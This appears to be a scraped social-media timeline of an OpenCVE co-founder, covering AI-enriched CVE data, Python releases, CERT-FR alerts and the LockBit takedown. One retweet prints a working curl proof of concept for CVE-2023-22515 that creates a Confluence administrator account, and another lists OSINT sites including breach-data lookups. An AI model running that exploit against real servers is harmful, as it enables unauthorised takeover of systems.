
Co-founder @OpenCVE | Cybersecurity & Open-Source Builder | Former OVHcloud & ANSSI
Lille, France
Joined November 2009
- Tweets5.8K
- Following923
- Followers1.3K
- Likes3.6K
Pinned Tweet
We just upgraded OpenCVE.io🚀
Every new CVE is now enriched by AI with impact, affected systems, risk & exploitability, and clear remediation.
✨ Even better: we provide fixes even when vendors don’t.
Understand faster. Act quicker.
#CyberSecurity #CVE #InfoSec
Nicolas Crocfer retweeted
Aggregates CVEs from multiple sources
github.com/opencve/opencve
Hello @volotea, your online check-in seems to be down. My flight is at 17:40 and I need to check in 2h30 before. Could you please advise what I should do? Thanks!
🚀 New in OpenCVE: AI-powered report summaries 🤖
Your daily CVE reports are now summarized by an LLM every night:
🔍 Key insights at a glance
⏱️ Save time reviewing updates
🎯 Focus on what matters
🔗 blog.opencve.io/posts/daily-…
#cybersecurity #CVE #AI #LLM #infosec
Nicolas Crocfer retweeted
OpenCVE is a Vulnerability Intelligence Platform that helps you monitor and manage CVEs efficiently.
GitHub: github.com/opencve/opencve
🚨 The NVD stopped enriching CVEs.
So we built our own AI system in OpenCVE to fill in the missing data.
🧠 Powered by Mistral LLM + fuzzy matching, it adds vendor/product info to previously empty CVEs.
👉 Read more: blog.opencve.io/posts/introd…
#CyberSecurity #CVE #Infosec #LLM
Nicolas Crocfer retweeted
40 Search Engine For OSINT, and Hackers
1. 🔍 Google— google.com
2. 🕵️ Shodan — shodan.io
3. 🌐 Censys — censys.io
4. 👁️🗨️ ZoomEye — zoomeye.org
5. 🗂️ GreyNoise — greynoise.io
6. 🛰️ FOFA — fofa.info
7. 🧭 Onyphe — onyphe.io
8. 🔒 NIST NVD — nvd.nist.gov
9. 📝 osv.dev — osv.dev
10. 🧩 VulnIQ — vulnIQ.com
11. ⚡ VulDB — vuldb.com
12. 🔥 0day.today — 0day.today
13. 🗃️ opencve — opencve.io
14. 📜 Crt.sh — crt.sh
15. 🌍 Hunter.io — hunter.io
16. 🔍 SearchCode — searchcode.com
17. 🔗 BuiltWith — builtwith.com
18. 💼 RobTex — robtex.com
19. 🧩 GTFOBins — gtfo.mitre.org
20. 🔎 DNSdb — dnsdb.io
21. 🌐 DNSviz — dnsviz.net
22. 🕸️ wigle — wigle.net
23. 📶 wifimap — wifimap.io
24. 📡 wifispc — wifispc.com
25. 🕵️♂️ skymem — skymem.info
26. 🧠 ThatsThem — thatsthem.com
27. 🌍 Snusbase — snusbase.com
28. 🗃️ Dehashed — dehashed.com
29. 🔍 LOLbas — lolbas-project.github.io
30. 🔑 FullHunt — fullhunt.io
31. 📋 grep.app — grep.app
32. 📡 URLScan — urlscan.io
33. ⚡ Chaos — chaos.projectdiscovery.io
34. 🌐 C99.nl — c99.nl
35. 📌 Wigle — wigle.net
36. 🕵️♀️ SynapsInt — synapsint.com
37. 💥 Omnisint — omnisint.io
38. 🧩 Riddler — riddler.io
39. 🔎 NerdyData — nerdydata.com
40. 💻 osv.dev — osv.dev
⚠️ Disclaimer: This resource is for educational and lawful cybersecurity research only. Always ensure your activities are conducted within authorized scopes such as bug bounty
Nicolas Crocfer retweeted
🐍💥Python 3.13.0 has been released! 🎉 This is the first version with 🧵experimental GIL-free mode, an experimental JIT compiler🔧, a slick new REPL 🖌️ and many new cool features! And it's faster, smarter, and more colorful than ever! 🚀
Get it here: python.org/downloads/release…
Nicolas Crocfer retweeted
The most common 4-digit PINs from an analysis of 3.4 million leaked PINs.
#dataviz source: reddit.com/r/dataisbeautiful…
Nicolas Crocfer retweeted
The identity of the Lockbit leader has been revealed. It's #OSINT time!
THREAD 1/n
A leader of what was once the world’s most harmful cyber crime group has been unmasked and sanctioned by the UK, US and Australia, following an NCA-led international disruption campaign.
#Cronos @FBI @Europol
Full story ➡️ nationalcrimeagency.gov.uk/n…
Nicolas Crocfer retweeted
Le FBI 🇺🇸 Europol 🇪🇺 et la National Crime Agency 🇬🇧 sont littéralement en train d’humilier le groupe de cybercriminels n°1.
C’est l’Opération Cronos, c’est lunaire et ça se passe en ce moment !
Je vous ai préparé un petit résumé 🧵⬇️
Nicolas Crocfer retweeted
#threatintel
someone just leaked a bunch of internal Chinese government documents on GitHub
github.com/I-S00N/I-S00N/
Nicolas Crocfer retweeted
⚠️Alerte CERT-FR⚠️
La vulnérabilité CVE-2024-21413 affecte Microsoft Outlook. Elle permet a un attaquant de récupéré le condensat NTLM et potentiellement d'exécuter du code arbitraire à distance.
Une preuve de concept partielle est disponible.
cert.ssi.gouv.fr/alerte/CERT…
Nicolas Crocfer retweeted
⚠️Alerte CERT-FR⚠️
La vulnérabilité critique CVE-2023-7028 affecte GitLab et permet à un attaquant de prendre le contrôle d'un compte dont il connait le courriel.
cert.ssi.gouv.fr/alerte/CERT…
Nicolas Crocfer retweeted
Django 5.0 released
djangoproject.com/weblog/202…
Nicolas Crocfer retweeted
PoC for CVE-2023-22515: curl -k -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=adm1n&fullName=admin&email=admin@confluence&password=adm1n&confirm=adm1n&setup-next-button=Next" http://confluence/setup/setupadministrator.action
(login with adm1n/adm1n)
Nicolas Crocfer retweeted
We have released Python 3.12.0 finally! 🎉🎉🎉🐍
In the CPython release team, we have put a lot of effort into making 3.12 the best version of Python possible. Better f-strings, faster Python, better typing, easier debugging and much more. Get it here:
discuss.python.org/t/python-…
Nicolas Crocfer retweeted
Je viens de découvrir l'excellentissime OpenCVE.io ! Un outil #opensource créé par @ncrocfer et @LaurentDurnez pour faciliter la gestion de la veille sur les vulnérabilités ! Utilisable en ligne ou sur son propre serveur, c'est ici : opencve.io
Nicolas Crocfer retweeted
mayTheOpenSourceSoftwareFairyBlessNonProgrammers reddit.com/r/programmerhumor…



























